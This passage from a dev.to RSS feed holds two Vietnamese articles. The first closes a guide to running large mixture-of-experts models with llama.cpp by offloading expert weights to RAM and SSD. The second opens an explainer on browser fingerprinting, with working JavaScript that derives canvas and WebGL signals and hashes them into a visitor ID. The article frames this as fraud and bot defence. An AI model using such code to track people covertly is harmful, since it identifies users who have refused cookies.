&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ffn_(up|down|gate)_exps&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;expert_bytes&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;other_bytes&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;

&lt;span class="n"&gt;gb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Non-expert (nên ở VRAM): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;gb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;other_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; GB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Expert weights (RAM/SSD): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;gb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expert_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; GB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Tổng:                     &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;gb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expert_bytes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;other_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; GB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chạy thử với bản Q4 của một model khoảng 120B, mình thấy phần non-expert chỉ vài GB, vừa với card 8GB. Expert thì khoảng 55-60GB. Nếu máy có 64GB RAM thì gần như nằm gọn trong page cache. Máy 32GB thì một nửa sẽ phải đọc từ SSD, và đến lúc này tốc độ SSD bắt đầu ảnh hưởng thật.&lt;/p&gt;

&lt;p&gt;Kinh nghiệm của mình:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RAM khoảng &lt;strong&gt;≥ 70% dung lượng expert&lt;/strong&gt;: tốc độ gần như không khác chạy full RAM.&lt;/li&gt;
&lt;li&gt;RAM khoảng &lt;strong&gt;40-70%&lt;/strong&gt;: chạy được, tốc độ dao động theo prompt. Đổi chủ đề sẽ chậm vài giây đầu.&lt;/li&gt;
&lt;li&gt;RAM &lt;strong&gt;&amp;lt; 40%&lt;/strong&gt;: thường không đáng, nên chọn quant nhỏ hơn hoặc model nhỏ hơn.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Cấu hình llama.cpp: đẩy expert ra khỏi GPU
&lt;/h2&gt;

&lt;p&gt;Từ khoảng giữa 2025, llama.cpp đã có flag &lt;code&gt;--n-cpu-moe&lt;/code&gt; và &lt;code&gt;--override-tensor&lt;/code&gt; (&lt;code&gt;-ot&lt;/code&gt;) để điều khiển chính xác tensor nào nằm ở đâu. Đây là cấu hình mình đang dùng với card 12GB:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build bản mới nhất có CUDA&lt;/span&gt;
git clone https://github.com/ggml-org/llama.cpp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;llama.cpp
cmake &lt;span class="nt"&gt;-B&lt;/span&gt; build &lt;span class="nt"&gt;-DGGML_CUDA&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ON &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cmake &lt;span class="nt"&gt;--build&lt;/span&gt; build &lt;span class="nt"&gt;-j&lt;/span&gt; &lt;span class="nt"&gt;--config&lt;/span&gt; Release

&lt;span class="c"&gt;# Cách 1: offload toàn bộ layer lên GPU, nhưng ép expert về CPU&lt;/span&gt;
./build/bin/llama-server &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-m&lt;/span&gt; ~/models/gpt-oss-120b-Q4_K_M.gguf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ngl&lt;/span&gt; 99 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ot&lt;/span&gt; &lt;span class="s2"&gt;".ffn_.*_exps.=CPU"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; 16384 &lt;span class="nt"&gt;-t&lt;/span&gt; 8 &lt;span class="nt"&gt;--port&lt;/span&gt; 8080

&lt;span class="c"&gt;# Cách 2: cú pháp gọn hơn, giữ expert của N layer đầu trên CPU&lt;/span&gt;
&lt;span class="c"&gt;# Tăng/giảm N cho tới khi VRAM vừa đủ&lt;/span&gt;
./build/bin/llama-server &lt;span class="nt"&gt;-m&lt;/span&gt; ~/models/gpt-oss-120b-Q4_K_M.gguf &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ngl&lt;/span&gt; 99 &lt;span class="nt"&gt;--n-cpu-moe&lt;/span&gt; 30 &lt;span class="nt"&gt;-c&lt;/span&gt; 16384
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Một vài lưu ý mình học được sau khi thử sai:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Đừng thêm &lt;code&gt;--no-mmap&lt;/code&gt;&lt;/strong&gt; khi model lớn hơn RAM. Flag đó bắt llama.cpp load hết vào RAM, và process sẽ bị OOM killer giết. mmap mặc định để kernel tự quyết page nào giữ, page nào bỏ.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Đừng dùng &lt;code&gt;--mlock&lt;/code&gt;&lt;/strong&gt; trong trường hợp này. Nó khóa toàn bộ pages vào RAM và sẽ fail ngay.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-t&lt;/code&gt; (threads)&lt;/strong&gt; nên đặt bằng số physical core, không phải số logic thread. Expert matmul trên CPU bị giới hạn bởi memory bandwidth, thêm thread hyperthreading thường còn chậm hơn.&lt;/li&gt;
&lt;li&gt;Nếu dư VRAM, giảm &lt;code&gt;--n-cpu-moe&lt;/code&gt; để đưa vài layer expert lên GPU. Mỗi layer chuyển lên thường tăng thêm vài phần trăm tốc độ.
&lt;/li&gt;
&lt;/ul&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant G as GPU (VRAM)
    participant C as CPU
    participant P as Page cache (RAM)
    participant S as NVMe SSD
    G-&amp;gt;&amp;gt;G: Attention layer N
    G-&amp;gt;&amp;gt;C: hidden state + expert ids
    C-&amp;gt;&amp;gt;P: đọc weights expert
    P--&amp;gt;&amp;gt;S: page fault (expert cold)
    S--&amp;gt;&amp;gt;P: load pages
    P--&amp;gt;&amp;gt;C: weights
    C-&amp;gt;&amp;gt;G: kết quả FFN&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  Theo dõi xem SSD có đang là bottleneck không
&lt;/h2&gt;

&lt;p&gt;Khi tokens/s thấp hơn dự kiến, việc đầu tiên mình làm là xem ổ đĩa có đang bị đọc liên tục không. Trên Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Terminal 1: theo dõi read throughput của NVMe mỗi giây&lt;/span&gt;
iostat &lt;span class="nt"&gt;-xm&lt;/span&gt; 1 nvme0n1

&lt;span class="c"&gt;# Terminal 2: đếm major page fault của llama-server&lt;/span&gt;
&lt;span class="nv"&gt;PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;pgrep &lt;span class="nt"&gt;-f&lt;/span&gt; llama-server&lt;span class="si"&gt;)&lt;/span&gt;
watch &lt;span class="nt"&gt;-n1&lt;/span&gt; &lt;span class="s2"&gt;"ps -o maj_flt,rss -p &lt;/span&gt;&lt;span class="nv"&gt;$PID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Xem bao nhiêu phần của file model đang nằm trong page cache&lt;/span&gt;
&lt;span class="c"&gt;# (cần cài vmtouch: apt install vmtouch)&lt;/span&gt;
vmtouch &lt;span class="nt"&gt;-v&lt;/span&gt; ~/models/gpt-oss-120b-Q4_K_M.gguf | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cách đọc kết quả:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rMB/s&lt;/code&gt; trong iostat cao liên tục (vài GB/s) trong lúc generate nghĩa là đang thrash. Working set lớn hơn RAM, cần giảm context, dùng quant nhỏ hơn, hoặc đóng bớt Chrome.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;maj_flt&lt;/code&gt; tăng mạnh ở vài chục token đầu rồi đứng yên là bình thường, đó là giai đoạn warm-up.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vmtouch&lt;/code&gt; cho biết khoảng bao nhiêu % file đã resident. Nếu muốn warm cache trước khi demo, chạy &lt;code&gt;vmtouch -t&lt;/code&gt; lên file model.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trên macOS với Apple Silicon thì hơi khác, vì unified memory làm ranh giới giữa VRAM và RAM bị xóa. Lúc này bạn chỉ cần quan tâm tổng RAM và dùng &lt;code&gt;sudo fs_usage -f diskio | grep llama&lt;/code&gt; để xem ổ đĩa có bị đọc liên tục không.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Chạy model lớn hơn RAM không phải là phép màu. Nó chỉ khả thi với &lt;strong&gt;MoE&lt;/strong&gt; và chỉ hiệu quả khi working set của expert vừa với page cache. Những gì nên làm ngay:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Chọn MoE thay vì dense&lt;/strong&gt; nếu phần cứng hạn chế. Một model 30B-A3B trên laptop 16GB thường cho trải nghiệm tốt hơn một dense 14B bị quant quá tay.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chạy script ước lượng&lt;/strong&gt; trước khi tải về để biết tỷ lệ RAM so với dung lượng expert.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dùng &lt;code&gt;-ngl 99&lt;/code&gt; cùng &lt;code&gt;--n-cpu-moe&lt;/code&gt;&lt;/strong&gt; (hoặc &lt;code&gt;-ot&lt;/code&gt;) để attention ở GPU, expert ở CPU. Giữ mmap mặc định, bỏ &lt;code&gt;--no-mmap&lt;/code&gt; và &lt;code&gt;--mlock&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Đầu tư SSD NVMe Gen4&lt;/strong&gt; trước khi nâng GPU, nếu bạn hay chạy model lớn. Đọc ngẫu nhiên nhanh ảnh hưởng trực tiếp đến tốc độ khi cache miss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Đo bằng &lt;code&gt;iostat&lt;/code&gt; và &lt;code&gt;vmtouch&lt;/code&gt;&lt;/strong&gt; thay vì đoán. Đa số lần chậm mình gặp đều do thrash chứ không phải do CPU.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Các project như Janas đang đẩy hướng này đi xa hơn với prefetch thông minh theo router. Nhưng nếu nắm chắc nền tảng mmap và tensor placement, bạn đã có thể chạy những model mà một năm trước phải cần server mới chạy nổi, ngay trên máy cá nhân.&lt;/p&gt;

</description>
      <category>llm</category>
      <category>llamacpp</category>
      <category>moe</category>
      <category>performance</category>
    </item>
    <item>
      <title>Fingerprints Are the New Cookies: How Browser Fingerprinting Works and What Developers Should Do About It</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Mon, 12 Oct 2026 14:40:56 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/fingerprints-are-the-new-cookies-how-browser-fingerprinting-works-and-what-developers-should-do-456h</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/fingerprints-are-the-new-cookies-how-browser-fingerprinting-works-and-what-developers-should-do-456h</guid>
      <description>&lt;p&gt;Hồi trước, muốn track user thì cứ set một cái cookie là xong. Giờ thì khác rồi: Safari có ITP, Firefox có Total Cookie Protection, Chrome cũng siết third-party cookie, user thì bấm "Reject all" ngay khi thấy cookie banner. Nhưng tracking không biến mất, nó chỉ chuyển sang chỗ khác: &lt;strong&gt;browser fingerprinting&lt;/strong&gt;. Không cần lưu gì trên máy user, chỉ cần gom đủ tín hiệu từ trình duyệt là có thể nhận ra một người với độ chính xác khá cao, kể cả khi họ dùng Incognito.&lt;/p&gt;

&lt;p&gt;Bài này mình không viết để dạy track người khác. Mục tiêu là để dev Việt hiểu cơ chế, biết code của mình (hoặc SDK bên thứ ba mình nhúng vào) đang làm gì, và dùng fingerprinting đúng chỗ: chống fraud, chống bot, phát hiện account takeover. Không dùng để quảng cáo lén.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fingerprint được tạo ra từ đâu?
&lt;/h2&gt;

&lt;p&gt;Ý tưởng cốt lõi rất đơn giản: mỗi thuộc tính riêng lẻ thì nhiều người trùng nhau, nhưng ghép 20-30 thuộc tính lại thì tổ hợp gần như là duy nhất. Nghiên cứu Panopticlick của EFF từ năm 2010 đã cho thấy khoảng 83% trình duyệt có fingerprint unique, và đến giờ con số đó chỉ có tăng.&lt;/p&gt;

&lt;p&gt;Các nhóm tín hiệu phổ biến:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Passive (server thấy luôn)&lt;/strong&gt;: IP, &lt;code&gt;User-Agent&lt;/code&gt;, &lt;code&gt;Accept-Language&lt;/code&gt;, thứ tự HTTP header, TLS ClientHello (JA3/JA4), HTTP/2 SETTINGS frame.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Active (cần chạy JS)&lt;/strong&gt;: Canvas rendering, WebGL renderer/vendor, AudioContext, danh sách font, &lt;code&gt;screen.width/height&lt;/code&gt;, &lt;code&gt;devicePixelRatio&lt;/code&gt;, &lt;code&gt;hardwareConcurrency&lt;/code&gt;, timezone, &lt;code&gt;navigator.languages&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    A[Browser] --&amp;gt;|TLS ClientHello| B[JA4 hash]
    A --&amp;gt;|HTTP headers| C[Header fingerprint]
    A --&amp;gt;|JS chạy trên trang| D[Canvas / WebGL / Audio]
    A --&amp;gt;|JS| E[Screen, fonts, timezone]
    B --&amp;gt; F[Combine + hash]
    C --&amp;gt; F
    D --&amp;gt; F
    E --&amp;gt; F
    F --&amp;gt; G[Visitor ID]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Điểm đáng sợ nhất là canvas fingerprint: cùng một đoạn vẽ text + gradient, nhưng GPU, driver, font rendering, anti-aliasing khác nhau sẽ ra pixel khác nhau. Hash cái output đó lại là có một ID khá ổn định.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tự viết một fingerprint đơn giản bằng JavaScript
&lt;/h2&gt;

&lt;p&gt;Đoạn dưới đây chạy được trên Chrome 120+, Firefox 120+, Safari 17+. Mình dùng &lt;code&gt;crypto.subtle&lt;/code&gt; có sẵn, không cần thư viện:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SHA-256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;padStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;canvasSignal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;240&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textBaseline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;16px Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#f60&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#069&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Xin chào, fingerprint 🍜&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;webglSignal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;gl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;webgl&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;gl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-webgl&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;gl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getExtension&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;WEBGL_debug_renderer_info&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;ext&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;gl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UNMASKED_RENDERER_WEBGL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;masked&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getFingerprint&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
